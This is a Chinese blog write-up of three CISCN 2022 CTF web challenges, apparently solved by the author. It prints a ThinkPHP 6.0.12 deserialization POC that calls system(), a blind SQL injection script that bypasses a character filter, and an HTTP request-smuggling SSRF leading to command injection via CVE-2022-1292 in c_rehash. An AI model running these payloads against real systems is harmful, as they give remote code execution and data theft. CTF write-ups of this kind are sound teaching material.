CISCN2022初赛-Web


Ezpop

[Thinkphp|反序列化]

ThinkPHP6.0.12LTS反序列化漏洞

分析见ThinkPHP6.0.12LTS反序列漏洞分析

app/controller/index.php文件下有个Index类,注入点在这。

所以访问/index.php/Index/test/,POST传值a即可。

POC

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['dir']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

Ezpentest

[mysql8|溢出|utf8mb4_bin]

hint:mysql8的utf8mb4_bin应用

给了过滤代码

<?php
function safe($a)
{
    $r = preg_replace('/[\s,()#;*~\-]/', '', $a); //空白,包括空格、换行、tab缩进 () # ; ~ -
    $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i', '', $r); //带这种union binary regexp rlike直接清空
    return (string) $r;
}

''代替空格,utf8mb4_bin+collate来判断大小写问题,通过溢出报错来盲注

select '1'&&case''when`password`like'f%'collate'utf8mb4_bin'then''else+18446744073709551615+2+''end='0' from flag

写了个POC,但靶机没了,还没测试。

import requests

url = "http://eci-2zeayc165jl9jxovk0pu.cloudeci1.ichunqiu.com:80/login.php"

string = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890^!$"
# string = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"


res = ""
length = 32

while length > -1:
    check = False
    for i in string:
        if i == '^' or i == '!' or i == '$':
            i = '\\\\' + i
        payload = "1'&&case''when`password`like'{0}{1}%'collate'utf8mb4_bin'then''else+18446744073709551615+2+''end='0".format(res, i)
        # payload = "1'||case''when`username`regexp'^{0}{1}'collate'utf8mb4_bin'then''else~0+~0+'1'end='0".format(res, i)
        json = {"username": payload, "password": "123"}
        r = requests.post(url=url, data=json)
        print(r.text,r.status_code)
        print(payload)
        exit()
        if r.status_code != 500:
            res += i
            print(res)
            check = True
            break
    if not check:
        print('error')
        break
    length -= 1
    print(res)

online_crt

[SSRF|openssl]

CVE-2022-1292

这题出的很好,要求其实不深,各方面知识融合的很不错,我很喜欢。虽然当时没做出来。

通过commit大致能判断漏洞点在$fname能RCE。

源码执行了c_rehash

表单提交创建crt。

还有个给内网发送数据的proxy。

main.go里还有重命名的接口。

思路很清晰:创建crt->SSRF重命名->访问/createlink进行RCE。

本地起个环境复现一下。

首先先测试下SSRF。

GET,但是表单,所以

改一改代码

说明这样能传

一开始老想着这里可以用curl的解析绕过去SSRF,但这哪来的curl,实属魔怔。

但实际上这里有个验证:

加上这里的请求包格式,很有请求走私的味道。可惜当时脑子没转过弯来。

还好之前打过ISCC的一题gunicorn的请求走私,稍微加深了点印象,不然理解这玩意都有丶难度。

请求走私大概可以理解为:ABC三个GET请求,AC是正常请求,B是恶意请求。将ABC包裹在一起发送->前端/中间件接收后解析为AB+C然后转发给后端->后端解析为A+BC。这样就绕过了前端的限制。两个好人把一个坏人夹在中间通过验证,所以是走私。

这里虽然没有中间件前端分离,但其实也差不多,也是将多个请求包裹到一起发送过去

proxy起的就是一个中间件的作用,gunicorn之前的那个走私洞是利用数据包长度来包裹,这里就没有那么麻烦了,构造好格式原模原样转发。

然后这样构造一下,注意最后有两个/r/n,这是http协议决定的。

因为在这里第三个数据包没用,所以加个Connection: close直接截断。

GET /proxy HTTP/1.1
Host: 192.168.110.131:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

uri=/%2561dmin/rename?oldname=789%26newname=789 HTTP/1.1
Host: admin
Connection: close

debug看看输出,红框有用,下面的没用就不用管格式了。

后端也是接收到了。

注意:由于后端有个rawpath验证,

去翻了翻文档大概就是不进行urldecode,传过去怎样就是这样。

奇怪的是如果传进去的数据不带urlencode的字符串,就会检测为空!

情况1 没有url编码

情况2 一次url编码

因为前端会进行一次url解码,所以传过去的数据需要urlencode两次。

c_rehash里有个后缀检测,所以需要加个后缀。

也就是说/admin->/%2561dmin

/的话会导致问题,所以最好base64一下

echo${IFS}Y2F0IC9mbGFn|base64${IFS}-d|bash>1.txt

奇怪的是,本地复现可以用${IFS}来替换空格,比赛的时候不行,怪哉。所以比赛环境将空格进行两次urlencode加密即可。

echo%2520Y2F0IC9mbGFn|base64%2520-d|bash>1.txt

最后再访问/createlink就执行命令了。

最后值得注意的是这里给的是ls static/crt/的回显,所以需要写入文件看回显,不能直接回显!比赛的时候在这里浪费了很多时间。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录